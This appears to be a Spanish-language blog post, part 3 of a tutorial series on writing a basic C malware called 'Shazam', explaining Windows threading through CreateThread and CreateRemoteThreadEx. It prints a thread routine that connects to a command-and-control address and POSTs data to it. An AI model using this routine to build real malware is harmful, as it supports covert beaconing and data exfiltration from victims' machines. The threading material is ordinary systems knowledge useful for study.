synawk

Hilos: Shazam: Malware Dev 0x3

Parte 3 del la guía de desarrollo desde 0 de un malware básico en C; el cual tiene como nombre Shazam. Hilos

Cuando un malware se despliega en un equipo, es bastante común que realice diversas acciones, como persistencia, elevación de privilegios, exfiltración de datos o encriptación. Muchas de estas acciones son consecutivas, mientras que otras dependen de la ejecución de la acción anterior para continuar. Todo esto está determinado por la lógica que el malware sigue y las prioridades que asigna a sus acciones. Por esta razón, comprender el concepto de hilos en el contexto del malware es importante, especialmente si deseamos que el malware realice ciertas acciones sin interrumpir por completo su flujo.

En Windows, podemos crear hilos utilizando CreateThread o CreateRemoteThread, aunque internamente ambos apuntan a CreateRemoteThreadEx, que es esencialmente la misma función pero con atributos adicionales.

createthread malware

En la imagen anterior, la función CreateThread dentro de kernelbase.dll realiza la llamada directa a CreateRemoteThreadEx, e incluso al examinar la función CreateRemoteThread, observamos el mismo comportamiento. La diferencia radica en el argumento RCX, que tiene el valor -0x01. Según la calling convention, el registro RCX es el primer argumento que se pasa a CreateRemoteThreadEx. Si revisamos la estructura de esta función, podemos observar lo siguiente:

HANDLE CreateRemoteThreadEx(
  [in]            HANDLE                       hProcess,
  [in, optional]  LPSECURITY_ATTRIBUTES        lpThreadAttributes,
  [in]            SIZE_T                       dwStackSize,
  [in]            LPTHREAD_START_ROUTINE       lpStartAddress,
  [in, optional]  LPVOID                       lpParameter,
  [in]            DWORD                        dwCreationFlags,
  [in, optional]  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  [out, optional] LPDWORD                      lpThreadId
);

El primer argumento de la función CreateRemoteThreadEx solicita el HANDLE del proceso; por lo tanto, podemos decir que al pasar -0x1, estamos haciendo referencia al mismo proceso que realiza la llamada. Esto resulta útil en algunos casos cuando se desea mantener una sola llamada para la creación de hilos al ejecutar alguna acción. Es importante destacar que se deben preparar los argumentos adicionales que la función requiere.

En Windows, el manejo de las estructuras es importante si se desea desarrollar técnicas complejas en malware. Estructuras como _EPROCESS o _ETHREAD son útiles si se busca desarrollar un rootkit. Sin embargo, en modo usuario, que es lo que se está haciendo, no es necesario nada de eso, solo comprender el flujo de la ejecución del hilo. La estructura más importante en modo usuario es el TEB (Thread Environment Block), que almacena información sobre el hilo que se está ejecutando. Esta ultima es comúnmente usada para ubicar el Process Environment Block (PEB) el cual contiene información sobre el proceso, dado que un hilo no puede existir sin un proceso. Sobre estas estructruras hare una publicacion en el futuro, por lo pronto no son importantes para el objetivo que se tiene.

Con todo lo dicho, pasamos a ver código. Para continuar con el objetivo de implementar la ejecución por hilos en el malware, utilizaré CreateThread, el cual tiene la siguiente estructura:

HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);

Esta función permite enviar la dirección de la función que será ejecutada a través del argumento lpStartAddress y los parámetros a través del argumento lpParameter. Es importante mencionar que, en el caso de tener una función con múltiples parámetros, lo mejor será convertir todos esos parámetros en una estructura que pueda ser casteada al iniciar la ejecución del hilo.

Creamos la función que será ejecutada como hilo, es decir, sin bloquear el flujo. Para ello usaré la función que implemente en la parte 2 de esta serie, que realiza una petición HTTP a un servidor en python.

void th_HttpRequest(void *arg){

    char ipPort[17];
    sprintf(ipPort,"%s:%d", C2IP,C2PORT);

    HTTPCONNECTION httpHandle;

    szHttp_New(ipPort, &httpHandle);
    int result = szHttp_Instance(&httpHandle);
    if(result == 0){
        fdebug("Connected: %s\n", httpHandle.ip);
        char *data = malloc(100 * sizeof(char));
        memcpy(data, "Este es un archivo\0", 20);
        szHttp_MakePost(&httpHandle, SZAC_SEND, data);
        fdebug("response: %s", httpHandle.response);
    }else{
        fdebug("Error: %d", result);
    }
}

Y luego simplemente llamamos a la función CreateThread especificando como dirección el procedimiento que acabamos de crear.

...

HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)th_HttpRequest, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
    
...


Al compilar y ejecutar, el resultado sigue siendo el mismo; sin embargo, la función se ejecuta en paralelo al hilo principal, evitando que sea bloqueante. Es importante mencionar que, en este caso, he agregado WaitForSingleObject, que detiene el hilo principal si el hilo aún no ha terminado, ya que el proceso se cerrará y el hilo no completará su tarea. Al realizar un simple depurado al hilo, podemos observar que el flujo llega al CreateRemoteThreadEx, como mencioné anteriormente:

createthread malware debug

Si se revisa el registro R9, que contiene la dirección, se puede ver que pertenece a la función que colocamos como referencia al hilo; coincidiendo precisamente con la dirección de inicio que nos muestra el depurador:

createthread malware debug thread

Conclusiones

Por el momento, esta explicación es suficiente para comprender la base de los hilos en Windows. Recomiendo agregar lecturas, como los primeros capítulos de “Windows Internals”, que detallan el funcionamiento interno de los hilos y procesos. El objetivo es que el malware tenga la capacidad de realizar diferentes tareas sin que una sea bloqueante para que la otra se ejecute, sino que puedan llevarse a cabo de forma simultánea. He omitido mucha información por cuestiones que no se alinean con el objetivo, pero más adelante proporcionaré detalles adicionales según sea necesario.